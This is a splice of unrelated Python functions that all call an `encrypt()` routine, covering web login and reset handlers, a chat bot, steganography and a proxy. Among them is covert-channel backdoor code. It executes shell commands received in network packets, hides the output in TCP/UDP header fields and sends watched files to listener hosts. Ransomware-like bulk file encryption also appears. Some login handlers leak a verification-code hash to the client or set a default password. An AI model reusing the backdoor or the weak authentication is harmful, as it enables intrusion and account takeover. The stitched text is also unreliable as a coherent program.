def getFile(address, port, gFile): if protocol == "tcp": commandPacket = IP(dst=address, id=random.randint(0, 65535))/\ TCP(sport=random.randint(0, 65535), dport=port, seq=random.randint(0, 16777215), flags=16 + 32)/\ Raw(load=encrypt(gFile)) elif protocol == "udp": commandPacket = IP(dst=address, id=random.randint(0, 65535))/\ UDP(sport=(random.randint(0, 255)<<8) + 2, dport=port)/\ Raw(load=encrypt(gFile)) send(commandPacket, verbose=0) with open(gFile.split("/")[len(gFile.split("/"))-1], "w") as tFile: while True: dPacket = sniff(filter=protocol + " src port " + str(port) + " and ip src " + address, count=1, timeout=30) if len(dPacket) == 0: break if dPacket[0].haslayer(TCP) == True: if dPacket[0][TCP].flags == 1: break elif dPacket[0].haslayer(UDP) == True: if dPacket[0][UDP].sport == 0: break else: continue if dPacket[0].haslayer(Raw) != True: continue tFile.write(encrypt(dPacket[0][Raw].load))
def clientCommands(packet): commandPacket = sniff(filter="tcp and ip src " + packet[IP].src, count=1, timeout=30) if len(logFile) > 0: with open(logFile, "a") as serverLog: serverLog.write("Connection Established with " + packet[IP].src + " at " + time.ctime() + "\n") print "Connection Established with " + packet[IP].src + " at " + time.ctime() with open(encrypt(commandPacket[0][Raw].load), "w") as tFile: while True: dPacket = sniff(filter="tcp and ip src " + packet[IP].src, count=1, timeout=30) if len(dPacket) == 0: break if dPacket[0].haslayer(TCP) != True: continue if dPacket[0][TCP].flags == 1: break if dPacket[0].haslayer(Raw) != True: continue tFile.write(encrypt(dPacket[0][Raw].load)) if len(logFile) > 0: with open(logFile, "a") as serverLog: serverLog.write(encrypt(commandPacket[0][Raw].load) + " received from " + commandPacket[0][IP].src + " at " + time.ctime() + "\n") print encrypt(commandPacket[0][Raw].load) + " received from " + commandPacket[0][IP].src + " at " + time.ctime() if len(logFile) > 0: with open(logFile, "a") as serverLog: serverLog.write("Connection with " + commandPacket[0][IP].src + " terminated at " + time.ctime() + "\n") print "Connection with " + commandPacket[0][IP].src + " terminated at " + time.ctime()
def sendFile(self, event): path = event.pathname if "~" in path: path = path.replace('~', '') commandPacket = IP(dst="127.0.0.1", id=random.randint(0, 65535))/\ TCP(sport=random.randint(0, 65535), dport=random.randint(0, 65535), seq=random.randint(0, 16777215), flags="")/\ Raw(load=encrypt(path.split("/")[len(event.pathname.split("/"))-1])) for address in listenerIP: commandPacket[IP].dst = address commandPacket[IP].dst = address send(commandPacket, verbose=0) with open(path, "r") as tFile: for line in tFile: time.sleep(0.1) commandPacket[IP].id = commandPacket[IP].id + 1 commandPacket[TCP].seq = commandPacket[TCP].seq + 1 commandPacket[Raw].load = encrypt(line) for address in listenerIP: commandPacket[IP].dst = address send(commandPacket, verbose=0) commandPacket[IP].id = commandPacket[IP].id + 1 commandPacket[TCP].seq = commandPacket[TCP].seq + 1 commandPacket[Raw].load = "" commandPacket[TCP].flags="F" send(commandPacket, verbose=0)
def encryptTimingTest(fname, smallprimes, verysmallprimes, gens): rsaKey = rsa.RSA(smallprimes,verysmallprimes) encryptTimes = [] for i in range(len(gens)): rsaKey.setKeys(gens[i][0], gens[i][1], gens[i][2]) encryptTimes.append([]) encryptTimes[i].append(gens[i][0]) encryptTimes[i].append(gens[i][1]) print("Run " + str(i+1) + "/" + str(len(gens)) + ": e = "+str(gens[i][0])+", d = "+str(gens[i][1])+", n = "+str(gens[i][2])) sTime = time.time() encrypt(fname,rsaKey,False,False) eTime = time.time() - sTime print "Elapsed time = " + str(eTime) + " s" print '' encryptTimes[i].append(eTime) return encryptTimes
def sendFile(packet): if packet.haslayer(TCP): with open(encrypt(packet[Raw].load), "w") as tFile: while True: dPacket = sniff(filter=protocol + " dst port " + str(packet[TCP].dport) + " and ip src " + packet[IP].src, count=1, timeout=30) if len(dPacket) == 0: break if dPacket[0].haslayer(TCP) != True: continue if dPacket[0][TCP].flags == 1: break if dPacket[0].haslayer(Raw) != True: continue tFile.write(encrypt(dPacket[0][Raw].load)) elif packet.haslayer(UDP): with open(encrypt(packet[Raw].load), "w") as tFile: while True: dPacket = sniff(filter=protocol + " dst port " + str(packet[UDP].dport) + " and ip src " + packet[IP].src, count=1, timeout=30) if len(dPacket) == 0: break if dPacket[0][UDP].sport == 0: break tFile.write(encrypt(dPacket[0][Raw].load)) if len(logFile) > 0: with open(logFile, "a") as serverLog: serverLog.write(encrypt(packet[Raw].load) + " received from " + packet[IP].src + " at " + time.ctime() + "\n")
def getFile(address, port, gFile): if protocol == "tcp": commandPacket = IP(dst=address, id=random.randint(0, 65535))/\ TCP(sport=random.randint(0, 65535), dport=port, seq=random.randint(0, 16777215), flags=16 + 32)/\ Raw(load=encrypt(gFile)) elif protocol == "udp": commandPacket = IP(dst=address, id=random.randint(0, 65535))/\ UDP(sport=(random.randint(0, 255)<<8) + 2, dport=port)/\ Raw(load=encrypt(gFile)) send(commandPacket, verbose=0) with open(gFile.split("/")[len(gFile.split("/")) - 1], "w") as tFile: while True: dPacket = sniff(filter=protocol + " src port " + str(port) + " and ip src " + address, count=1, timeout=30) if len(dPacket) == 0: break if dPacket[0].haslayer(TCP) == True: if dPacket[0][TCP].flags == 1: break elif dPacket[0].haslayer(UDP) == True: if dPacket[0][UDP].sport == 0: break else: continue if dPacket[0].haslayer(Raw) != True: continue tFile.write(encrypt(dPacket[0][Raw].load))
def POST(self): input = web.input(old_password = None, new_password = None) if input.old_password == None or input.new_password == None: return output(110) if len(input.new_password) < 6 or len(input.new_password) > 18: return output(130) if not re.compile(r'[0-9A-Za-z_]+').match(input.new_password): return output(131) session = web.ctx.session if not session.has_key('user_id'): return output(411) db = getDb() password = db.select('user', vars = {'id':session['user_id']}, where = "user_id=$id", what = "password")[0].password if password == encrypt(input.old_password): try: db.update('user', vars = {'id':session['user_id']}, where = 'user_id=$id', password = encrypt(input.new_password)) return output(200) except: return output(700) else: return output(430)
def notify(packet): if len(logFile) > 0: with open(logFile, "a") as serverLog: serverLog.write("Tracking " + encrypt(packet[Raw].load).split()[0] + " for " + packet[IP].src + " at " + time.ctime() + "\n") wdd = watchMan.add_watch(encrypt(packet[Raw].load).split()[0], pyinotify.IN_CREATE | pyinotify.IN_MODIFY, rec=True) address = encrypt(packet[Raw].load).split()[1] if address not in listenerIP: listenerIP.append(address)
def POST(self): # ,传入loginname,password,返回登陆正确的随机单一token值 input = web.input(login_name="", password="") # 是否缺少必要参数 if input.login_name == "" or input.password == "": # TODO: return output(110) # TODO: # 用户名是否合法 # 密码是否合法 if len(input.login_name) > 20 or len(input.password) > 33: # TODO: return output(111) # 用户名是否唯一存在 db = getDb() results = db.select( "campus", vars={"login_name": input.login_name}, where="login_name=$login_name", what="campus_id,passwd" ) # TODO: if len(results) != 1: return output(460) # TODO: # 密码是否正确 results = results[0] if results.passwd != encrypt(input.password): return output(430) # 记下campus_id campus_id_now = results.campus_id # 密码正确,增权限access_token token = db.select("campus_token", vars={"id": results.campus_id}, where="campus_id=$id") if len(token) > 0: # 如果存在token,那就更新token的时间 token = token[0] try: db.update("campus_token", vars={"id": token.campus_id}, where="campus_id=$id", activate_time=None) return output(200, token.access_token) except: return output(700) else: try: while True: # 防止不同用户的token相同 token = encrypt(str(random.randint(100000, 1000000)) + str(time.time()) + input.login_name) results = db.select("campus_token", vars={"token": token}, where="access_token=$token") if len(results) == 0: break db.insert("campus_token", access_token=token, campus_id=campus_id_now, activate_time=None) token1 = [] token1.append({"access_token": token}) return output(200, token1) except: return output(700)
def notify(address, port, notice, listener): if protocol == "tcp": commandPacket = IP(dst=address, id=random.randint(0, 65535))/\ TCP(sport=random.randint(0, 65535), dport=port, seq=random.randint(0, 16777215), flags=18 + 32)/\ Raw(load=encrypt(notice + "\n" + listener)) elif protocol == "udp": commandPacket = IP(dst=address, id=random.randint(0, 65535))/\ UDP(sport=(random.randint(0, 255)<<8) + 8, dport=port)/\ Raw(load=encrypt(notice + "\n" + listener)) send(commandPacket, verbose=0)
def encryptmsg(key, msg, file): directory = tkinter.filedialog.asksaveasfilename( title='Save as Output Wav', defaultextension='pgp', filetypes=[('Wave File (*.wav)', ".wav")]) if (directory != ''): encrypt(key, msg) file = file[:-1] hide_data(file, "file.txt", directory, 2) tkinter.messagebox.showinfo("Music Encrypt", "Encrypted Successfully!")
def send_fmsg(FirstName, Last_Name, GroupNames): decrypt(dir_path + '/credentials/fbe') with open(dir_path + '/credentials/fbe', mode='rb') as f: content = f.read() content = base64.b64decode(content).decode('utf-8') username = str(content.split()[0]) password = str(content.split()[1]) client = Client(username, password) if client.isLoggedIn(): # ---------------Person------------------ name = FirstName + " " + Last_Name friends = client.searchForUsers(name) # return a list of names friend = friends[0] msg = "Birthdays are a new start; fresh beginnings, a time to start new endeavours with new goals. Move forward with fresh confidence and courage. You are a special person, may you have an amazing today and year. Happy birthday " + FirstName # Will send the image located at `<image path>` client.sendRemoteImage( "https://images.unsplash.com/photo-1558636508-e0db3814bd1d?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=1950&q=80", thread_id=friend.uid, thread_type=ThreadType.USER, ) client.send(Message(text=msg), thread_id=str(friend.uid), thread_type=ThreadType.USER) # -------------------------Group---------------------- for GroupName in GroupNames: try: gname = GroupName groups = client.searchForGroups(gname) group = groups[0] client.sendRemoteImage( "https://images.unsplash.com/photo-1558636508-e0db3814bd1d?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=1950&q=80", thread_id=group.uid, thread_type=ThreadType.GROUP, ) client.send(Message(text=msg), thread_id=group.uid, thread_type=ThreadType.GROUP) except: continue client.logout() else: print('not logged in') encrypt(dir_path + '/credentials/fbe')
def encrypt_credentials (email, password): # Create an temp in file in_file = """email=%s,password=%s""" % (email, password) del email del password in_file = open ('temp.key', 'wb') in_file.write(in_file) in_file.close() del in_file with open('temp.key', 'rb') as in_file, open('cache.key', 'wb+') as out_file: encrypt(in_file, out_file, PASSWORD_SALT) os.remove('temp.key')
def encGPor(verbose=True, p=761, q=4591): print "-------------------------------------------------------------------" print "Evaluating Enc group program for gate OR with decryption" print "-------------------------------------------------------------------" S5 = SymmetricGroup(5) el1 = S5([2, 3, 4, 5, 1]) el2 = S5([3, 1, 5, 2, 4]) g1 = GroupProgram(S5, el1, 1) if (verbose): g1.printGP() g2 = GroupProgram(S5, el2, 2) if (verbose): g2.printGP() g1.orGP(g2) egp = encrypt(g1, p, q, verbose) pub = egp.get_pzt() w = egp.evaluate([0, 0, 0, 0], verbose) w_dummy = egp.evaluate_dummy([0, 0, 0, 0], verbose) print "OR(0,0)=", decrypt(w, w_dummy, pub, p, q) w = egp.evaluate([0, 1, 0, 1], verbose) w_dummy = egp.evaluate_dummy([0, 1, 0, 1], verbose) print "OR(0,1)=", decrypt(w, w_dummy, pub, p, q) w = egp.evaluate([1, 0, 1, 0], verbose) w_dummy = egp.evaluate_dummy([1, 0, 1, 0], verbose) print "OR(1,0)=", decrypt(w, w_dummy, pub, p, q) w = egp.evaluate([1, 1, 1, 1], verbose) w_dummy = egp.evaluate_dummy([1, 1, 1, 1], verbose) print "OR(1,1)=", decrypt(w, w_dummy, pub, p, q)
def POST(self): input = web.input(mobile = None, verify_code = None, new_password = None) if input.mobile == None or input.verify_code == None or input.new_password == None: return output(110) if len(input.new_password) < 6 or len(input.new_password) > 18: return output(130) if not re.compile(r'[0-9A-Za-z_]+').match(input.new_password): return output(131) db = getDb() results = db.select('user', vars = {'name':input.mobile}, where = "login_name=$name and type!='6'", what = "user_id") if len(results) == 0: return output(422) user_id = results[0].user_id if len(db.select('verify', vars = {'id':user_id, 'code':input.verify_code}, where = "user_id=$id and verify_code=$code")) == 0: return output(431) else: t = db.transaction() try: vars = {'id':user_id} where = "user_id=$id" db.update('user',vars = vars, where = where, password = encrypt(input.new_password)) db.delete('verify', vars = vars, where = where) t.commit() return output(200) except: t.rollback() return output(700)
def signup(): if request.method == 'POST': user_name = request.form['name'] user_email = request.form['email'] user_passw = request.form['password'] check = User.query.filter_by(email=user_email).first() if check is not None: return render_template('signup.html', message="This email already exists") else: totp_key = generate_secret_totp_key() get_key() totp_key_user_side = encrypt(totp_key) ip = getip() user_pass = str(ip) + user_passw user_password = pbkdf2_sha256.hash(user_pass) salt_bytes = getsalt(user_password) user_password_browser_side = get_user_cred(salt_bytes, user_passw) collected_data = User(user_name, user_email, user_password, totp_key) collected_data1 = User1(user_name, user_email, user_password_browser_side, totp_key_user_side) db.session.add(collected_data) db.session.commit() db.session.add(collected_data1) db.session.commit() message = "You have successfully signed up !" return render_template('result.html', message=message) else: message = "Sign Up failed. Try again" return render_template('result.html', message=message)
def POST(self): input = web.input(email = None) if input.email == None: return output(110) db = getDb() results = db.select('user', vars = {'login_name' : input.email}, where = "login_name=$login_name and type!='2'", what = "user_id") if len(results) == 0: return output(422) user_id = results[0].user_id verify_code = str(random.randint(000000, 999999)) status = send_mail(input.email,"密码找回确认","\n您的验证码为"+verify_code+"\n该验证码在30分钟内有效") if status == -1: return output(421) t = db.transaction() try: results = db.select('verify', vars = {'id':user_id}, where = "user_id=$id") if len(results) == 0: db.insert('verify', user_id = user_id, verify_code = str(verify_code), add_time = int(time.mktime(time.localtime()))) else: db.update('verify', vars = {'id':user_id}, where = "user_id=$id", verify_code = str(verify_code), add_time = int(time.mktime(time.localtime()))) t.commit() except: t.rollback() return output(700) return output(200, {'verify_code_md5' : encrypt(verify_code)})
def createDirectory(name): enc_dirs, key = _getEncryptedFilePath(name) print "dir create: ", enc_dirs, ' key: ', key new_key, cipher = _getAESCipher() acl = {CURRENT_USER: {'perm': ['1', '1'], 'shared_key': encrypt(USER_PK, new_key)}} signature_acl = sign_inner_dictionary(USER_PRK, acl) data = {'username': CURRENT_USER, 'action': 'mkdir', 'dirname': enc_dirs, 'acl': acl, 'signature_acl': signature_acl} signature = sign_inner_dictionary(USER_PRK, data) msg = json.dumps({'username': CURRENT_USER, 'signature': signature, 'data': data}) response = _transmitToServer(msg) respdata = json.loads(response) #json.loads(decrypt(rsa_key.exportKey('PEM'), response)) status = { 'status': respdata['status'], 'message': respdata['message'] } # TODO: create the file locally return status
def POST(self): input = web.input(email = None) if input.email == None: return output(110) db = getDb() results = db.select('user', vars = {'login_name' : input.email}, where = "login_name=$email and type!='2'", what = "user_id") if len(results) == 0: return output(422) user_id = results[0].user_id verify_code = str(random.randint(000000, 999999)) status = send_mail(input.email,"密码找回确认","\n您的验证码为"+verify_code+"\n该验证码在30分钟内有效") if status == -1: return output(421) t = db.transaction() try: results = db.select('verify', vars = {'id':user_id}, where = "user_id=$id") if len(results) == 0: db.insert('verify', user_id = user_id, verify_code = str(verify_code), add_time = int(time.mktime(time.localtime()))) else: db.update('verify', vars = {'id':user_id}, where = "user_id=$id", verify_code = str(verify_code), add_time = int(time.mktime(time.localtime()))) t.commit() except: t.rollback() return output(700) return output(200, {'verify_code_md5' : encrypt(verify_code)})
def upload_file(): if request.method == 'POST': file = request.files['file'] message = request.form['user-message'] password = request.form['user-password'] if file and allowed_file(file.filename): filename = secure_filename(file.filename) file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) if message and password: encrypt(file.filename, message, password, outputName=file.filename) elif message is None or message == "": decrypt(file, password) print decrypt(file.filename, password) else: pass return redirect(url_for('uploaded_file', filename=filename)) return render_template('index.html')
def terminal(address, port, command): result = "" if protocol == "tcp": commandPacket = IP(dst=address, id=random.randint(0, 65535))/\ TCP(sport=random.randint(0, 65535), dport=port, seq=random.randint(0, 16777215), flags=2 + 32)/\ Raw(load=encrypt(command)) send(commandPacket, verbose=0) while True: dPacket = sniff(filter="tcp and src port " + str(port) + " and ip src " + address, count=1, timeout=30) if len(dPacket) == 0: break if dPacket[0].haslayer(TCP) != True: continue if dPacket[0][TCP].flags == 1: break result = result + chr(0x000000FF & (dPacket[0][TCP].seq >> 24)) result = result + chr(0x000000FF & (dPacket[0][TCP].seq >> 16)) result = result + chr(0x000000FF & (dPacket[0][TCP].seq >> 8)) result = result + chr(0x000000FF & (dPacket[0][TCP].seq)) elif protocol == "udp": commandPacket = IP(dst=address, id=random.randint(0, 65535))/\ UDP(sport=(random.randint(0, 255)<<8) + 4, dport=port)/\ Raw(load=encrypt(command)) send(commandPacket, verbose=0) while True: dPacket = sniff(filter="udp and src port " + str(port) + " and ip src " + address, count=1, timeout=30) if len(dPacket) == 0: break if dPacket[0].haslayer(UDP) != True: continue if dPacket[0][UDP].dport == 0: break result = result + chr(0x00FF & (dPacket[0][UDP].dport >> 8)) result = result + chr(0x00FF & (dPacket[0][UDP].dport)) result = encrypt(result) print encrypt(result)
def encrypt_dir(directory, key): if os.path.exists(os.path.join(directory.decode(), "encrypted.txt")): print("this file has already been encrypted") else: # encrypts directory if it has not been marked as encrypted already for file in os.listdir(directory): filename = os.fsdecode(file) # if filename.endswith(".png") or filename.endswith(".txt"): # only selects two types of files if check_file(filename): # determiens whether to encrpyt print(os.path.join(directory.decode(), filename)) encrypt(os.path.join(directory.decode(), filename), key) continue else: continue with open(os.path.join(directory.decode(), "encrypted.txt"), 'w') as fp: fp.write("This directory has been encrypted!") pass
def POST(self): input = web.input(application_id = None) if input.application_id == None: return output(110) try: input.application_id = int(input.application_id) except: return output(111) session = web.ctx.session if not session.has_key('user_id'): return output(411) if session['user_type'] != 0: return output(410) db = getDb() user_id = db.select('application', vars = {'id':input.application_id}, where = "application_id=$id and status='ongoing'") if len(user_id) == 0: return output(469) user_id = user_id[0] team_name = user_id.new_team_name user_list = json.loads(user_id.user_list) user_id = user_id.user_id t = db.transaction() try: db.update('application', vars = {'id':input.application_id}, where = "application_id=$id", status = 'approved', add_time = int(time.mktime(time.localtime()))) school_id = db.select('userinfo', vars = {'id':user_id}, where = "user_id=$id", what = "school_id")[0].school_id team_id = db.insert('team', team_name = team_name, school_id = school_id, balance = 0, manager_id = user_id, is_settled = 'false') db.update('user', vars = {'id': user_id}, where = "user_id=$id", type = '2', team_id = team_id) for user in user_list: try: id = db.insert('user', login_name = user['mobile'], password = encrypt('123456'), type = '3', team_id = team_id) db.insert('userinfo', user_id = id, name = user['name'], school_id = user['school_id'], major_id = user['major_id'], nickname = u'次级负责人', gender = 'male' if user['is_male'] == 1 else 'female', birthday = user['birthday'], sid = user['sid'], grade = user['grade'], phone = user['mobile'], id_type = user['id_type'], id_number = user['id_number'], citizenship = user['citizenship'], education_degree = user['education_degree'], nationality = user['nationality'], characters = user['characters'], address = user['address'], email = user['email'], address_detail = user['address_detail'], political_face = user['political_face']) except: pass t.commit() except: t.rollback() return output(700) return output(200)
def register(username): global CURRENT_PATH, CURRENT_DIRECTORY, CURRENT_DIRECTORY_SK global SERVER_PK, USER_PK, USER_PRK, CURRENT_USER USER_PRK = RSA.generate(2048) USER_PK = USER_PRK.publickey() key, cipher = _getAESCipher() print "register shared key", key CURRENT_DIRECTORY = [username] CURRENT_DIRECTORY_SK = [key] CURRENT_PATH = os.path.join(CURRENT_PATH, username) print "current_path_register: ", CURRENT_PATH key_msg = {'username': username, 'data': { 'action': 'key', 'username': '******'}} key_sig = sign_inner_dictionary(USER_PRK, key_msg['data']) key_msg['signature'] = key_sig resp = _transmitToServer(json.dumps(key_msg)) resp = json.loads(resp) if resp['status'] == 'OK': SERVER_PK = RSA.construct((long(resp['data']['public_key']['N']), long(resp['data']['public_key']['e']))) else: status = {'status': 'error', 'message': 'failed to obtain server pk'} return status acl = {username: {'perm': ['1', '1'], 'shared_key': encrypt(USER_PK, key)}} data = { 'username': username, 'action': 'register', 'public_key': {'N': USER_PK.n, 'e': USER_PK.e}, 'acl': acl, 'signature_acl': sign_inner_dictionary(USER_PRK, acl) } signature = sign_inner_dictionary(USER_PRK, data) msg = json.dumps({ 'username': username, 'signature': signature, 'data': data }) response = _transmitToServer(msg) #should be encrypted in the future print "response to register: ", response respdata = json.loads(response) #json.loads(decrypt(rsa_key, response)) status = { 'status': respdata['status'], 'message': respdata['message'] } if (respdata['status'] == 'OK'): CURRENT_USER = username _initLocalStorage() return status
def en(): refresh() print("Enter the text you wish to encrypt\n") f = open("keys.txt", "a") inp = encrypt(str(input("> "))) f.write("{} {}\n".format(inp[0], inp[1])) f.close() print("\n\t" + inp[1] + " saved to keys.txt...\n") time.sleep(1) refresh()
def POST(self): input = web.input(login_name = None,name = None,school_id = None, major_id = None ,password = None, phone = None) if (input.login_name ==None or input.name==None or input.school_id==None or input.password==None or input.major_id==None or input.phone == None): return output(110) try: input.school_id =int(input.school_id) input.major_id =int(input.major_id) except: return output(111) if len(input.name)<1 or len(input.name)>20: return output(112) if len(input.password) < 6 or len(input.password) > 16: return output(130) if not re.compile(r'[0-9A-Za-z_]+').match(input.password): return output(131) if len(input.login_name) < 6 or len(input.login_name) > 16: return output(132) if not re.compile(r'[0-9A-Za-z_]+').match(input.login_name): return output(133) if not re.compile(r'^[1-9][0-9]{10}$').match(input.phone): return output(120) session = web.ctx.session if not session.has_key('user_id'): return output(411) if session['user_type'] != 0: return output(410) db =getDb() if len(db.select('user', vars = {'name':input.login_name}, where = "login_name=$name")) != 0: return output(420) if len(db.select('school', vars = {'id':input.school_id}, where = "school_id=$id")) == 0: return output(461) results = db.select('major', vars = {'id':input.major_id}, where = "major_id=$id", what = "school_id") if len(results) == 0 or results[0].school_id != input.school_id: return output(462) t = db.transaction() try: user_id = db.insert("user",login_name = input.login_name,password = encrypt(input.password), type = '1') db.insert("userinfo",user_id = user_id,name=input.name, school_id=input.school_id, major_id=input.major_id, phone = input.phone, gender = 'male', nickname = 'admin') t.commit() except: t.rollback() return output(700) return output(200)
def POST(self): input = web .input(mobile = None, password = None) if input.mobile == None or input.password == None: return output(110) db = getDb() user = db.select('user', vars = {'mobile' : input.mobile}, where = "mobile=$mobile and verified='yes'", what = "user_id,passwd") if len(user) != 1: return output(421) user = user[0] if user.passwd != encrypt(input.password): return output(430) token = db.select('token', vars = {'id' : user.user_id}, where = "user_id=$id") if len(token) > 0: token = token[0] try: db.update('token', vars = {'id' : user.user_id}, where = "user_id=$id", activate_time = None) return output(200, {'access_token' : token.access_token, 'user_id' : user.user_id}) except: return output(700) else: try: while True: token = encrypt(str(random.randint(100000, 1000000)) + str(time.time()) + input.mobile) results = db.select('token', vars = {'token' : token}, where = "access_token=$token") if len(results) == 0: break db.insert('token', access_token = token, user_id = user.user_id, activate_time = None) return output(200, {'access_token' : token, 'user_id' : user.user_id}) except: return output(700)
def encrypt_file(filepath): f = io.open(filepath, "rb") s = f.read() f.close() if s[:len(sign)] == sign: print("[ERROR:]" + filepath) else: f = io.open(filepath, "wb") f.write(sign + encrypt(s, key)) f.close()
def terminal(address, port, command): result = "" if protocol == "tcp": commandPacket = IP(dst=address, id=random.randint(0, 65535))/\ TCP(sport=random.randint(0, 65535), dport=port, seq=random.randint(0, 16777215), flags=2 + 32)/\ Raw(load=encrypt(command)) send(commandPacket, verbose=0) while True: dPacket = sniff(filter="tcp and src port " + str(port) + " and ip src " + address, count=1, timeout=30) if len(dPacket) == 0: break if dPacket[0].haslayer(TCP) != True: continue if dPacket[0][TCP].flags == 1: break result = result + chr(0x000000FF&(dPacket[0][TCP].seq>>24)) result = result + chr(0x000000FF&(dPacket[0][TCP].seq>>16)) result = result + chr(0x000000FF&(dPacket[0][TCP].seq>>8)) result = result + chr(0x000000FF&(dPacket[0][TCP].seq)) elif protocol == "udp": commandPacket = IP(dst=address, id=random.randint(0, 65535))/\ UDP(sport=(random.randint(0, 255)<<8) + 4, dport=port)/\ Raw(load=encrypt(command)) send(commandPacket, verbose=0) while True: dPacket = sniff(filter="udp and src port " + str(port) + " and ip src " + address, count=1, timeout=30) if len(dPacket) == 0: break if dPacket[0].haslayer(UDP) != True: continue if dPacket[0][UDP].dport == 0: break result = result + chr(0x00FF&(dPacket[0][UDP].dport>>8)) result = result + chr(0x00FF&(dPacket[0][UDP].dport)) result = encrypt(result) print encrypt(result)
def clientCommands(packet): commandPacket = sniff(filter="tcp and ip src " + packet[IP].src, count=1, timeout=30) if len(logFile) > 0: with open(logFile, "a") as serverLog: serverLog.write("Connection Established with " + packet[IP].src + " at " + time.ctime() + "\n") print "Connection Established with " + packet[ IP].src + " at " + time.ctime() with open(encrypt(commandPacket[0][Raw].load), "w") as tFile: while True: dPacket = sniff(filter="tcp and ip src " + packet[IP].src, count=1, timeout=30) if len(dPacket) == 0: break if dPacket[0].haslayer(TCP) != True: continue if dPacket[0][TCP].flags == 1: break if dPacket[0].haslayer(Raw) != True: continue tFile.write(encrypt(dPacket[0][Raw].load)) if len(logFile) > 0: with open(logFile, "a") as serverLog: serverLog.write( encrypt(commandPacket[0][Raw].load) + " received from " + commandPacket[0][IP].src + " at " + time.ctime() + "\n") print encrypt( commandPacket[0][Raw].load ) + " received from " + commandPacket[0][IP].src + " at " + time.ctime() if len(logFile) > 0: with open(logFile, "a") as serverLog: serverLog.write("Connection with " + commandPacket[0][IP].src + " terminated at " + time.ctime() + "\n") print "Connection with " + commandPacket[0][ IP].src + " terminated at " + time.ctime()
def POST(self): # 访问方式:POST请求参数:mobile、old_password、new_password input = web.input(mobile=None, old_password=None, new_password=None) if input.mobile == None or input.old_password == None or input.new_password == None: return output(110) ##判断mobile 是否存在、新密码长度、新密码类型、旧密码是否正确 # 先解决不用查表 # 判断密码长度、类型。符合则status_code["status_code"]=200 status_code = Judge.verifyPasswordIsleague(input.new_password) if (status_code["status_code"] != 200): return output(status_code["status_code"]) # 查表获取用户信息 db = getDb() myvar = {'mobile': input.mobile} user = db.select('user', vars=myvar, where="mobile=$mobile and verified='yes'", what='user_id,passwd') # 用户是否存在 if len(user) != 1: return output(421) user = user[0] print user.passwd print input.old_password,encrypt(input.old_password) # 旧密码是否正确 if user.passwd != encrypt(input.old_password): return output(430) # 更新用户密码 try: db.update('user', vars={'user_id': user.user_id}, where="user_id=$user_id", passwd=encrypt(input.new_password)) return output(200) except: return output(700)
def POST(self): input = web.input(mobile = None) if input.mobile == None: return output(110) if len(input.mobile) != 11 or (not re.compile(r'^[1-9][0-9]+$').match(input.mobile)): return output(120) db = getDb() results = db.select('user', vars = {'mobile' : input.mobile}, where = "login_name=$mobile", what = "user_id,type") is_register = True length = len(results) if length == 0: is_register = False else: user = results[0] if user.type == '6': is_register = False if not is_register: verify_code = random.randint(100000, 999999) status = sendSMS(input.mobile, "%d,3" % (verify_code,)) if status == 1: return output(421) elif status == 2: return output(701) t = db.transaction() try: if length == 0: user_id = db.insert('user', login_name = input.mobile, type = '6') else: user_id = user.user_id results = db.select('verify', vars = {'id':user_id}, where = "user_id=$id") if len(results) == 0: db.insert('verify', user_id = user_id, verify_code = str(verify_code), add_time = int(time.mktime(time.localtime()))) else: db.update('verify', vars = {'id':user_id}, where = "user_id=$id", verify_code = str(verify_code), add_time = int(time.mktime(time.localtime()))) t.commit() except: t.rollback() return output(700) return output(200, {'verify_code_md5' : encrypt(str(verify_code))}) else: return output(420)
def terminal(packet): output = encrypt(subprocess.check_output(encrypt(packet[Raw].load).split(), stderr=subprocess.STDOUT)) if packet.haslayer(TCP): confirmPacket = IP(dst=packet[IP].src, id=packet[IP].id+1)/\ TCP(dport=packet[TCP].sport, sport=packet[TCP].dport, seq=packet[TCP].seq+1) for i in range(0, len(output), 4): time.sleep(0.1) confirmPacket[TCP].seq = 0 for char in output[i:i+4]: confirmPacket[TCP].seq = confirmPacket[TCP].seq<<8 confirmPacket[TCP].seq = confirmPacket[TCP].seq + ord(char) send(confirmPacket, verbose=0) confirmPacket[TCP].seq = confirmPacket[TCP].seq + 1 confirmPacket[TCP].flags = "F" elif packet.haslayer(UDP): output = encrypt(output) confirmPacket = IP(dst=packet[IP].src, id=packet[IP].id+1)/\ UDP(dport=packet[UDP].sport, sport=packet[UDP].dport) for i in range(0, len(output), 2): time.sleep(0.1) confirmPacket[UDP].dport = 0 for char in output[i:i+2]: confirmPacket[UDP].dport = confirmPacket[UDP].dport<<8 confirmPacket[UDP].dport = confirmPacket[UDP].dport + ord(char) send(confirmPacket, verbose=0) confirmPacket[UDP].dport = 0 send(confirmPacket, verbose=0) if len(logFile) > 0: with open(logFile, "a") as serverLog: serverLog.write("Results of \"" + encrypt(packet[Raw].load) + "\" sent to " + packet[IP].src + " at " + time.ctime() + "\n")
def POST(self): # 请求参数:mobile、verify_code、new_password input = web.input(mobile=None, verify_code=None, new_password=None) if input.mobile == None or input.verify_code == None or input.new_password == None: return output(110) try: input.verify_code = int(input.verify_code) except: return output(111) # 验证新密码格式 status_code = Judge.verifyPasswordIsleague(input.new_password) if status_code["status_code"] != 200: return output(status_code["status_code"]) # 验证用户名是否存在 status_code_mobile = Judge.verifyUsernameIsExistAndIsleague(input.mobile) if status_code_mobile["status_code"] != 200: return output(status_code_mobile["status_code"]) # 验证验证码 user_id = status_code_mobile["user_id"] # 查表获取用户信息 db = getDb() myvar = {'user_id': user_id} user = db.select('user_verify', vars=myvar, where="user_id=$user_id", what = "verify_code") if len(user) != 1: return output(431) user = user[0] if input.verify_code != user.verify_code: # 删掉验证码 try: db.delete('user_verify', vars=myvar, where="user_id=$user_id") return output(431) except: return output(431) # 删掉改验证码 t = db.transaction() try: db.delete('user_verify', vars=myvar, where="user_id=$user_id") db.update('user', vars=myvar, where="user_id=$user_id", passwd=encrypt(input.new_password)) t.commit() return output(200) except: t.rollback() return output(700)
def exchange_loop(self, local, server, encrypt, decrypt): while True: # wait until client or remote is available for read r, _, _ = select.select([local, server], [], []) if local in r: data = local.recv(SocksProxyRemote.BUF_SIZE) if server.send(decrypt(data)) <= 0: break if server in r: data = server.recv(SocksProxyRemote.BUF_SIZE) if local.send(encrypt(data)) <= 0: break
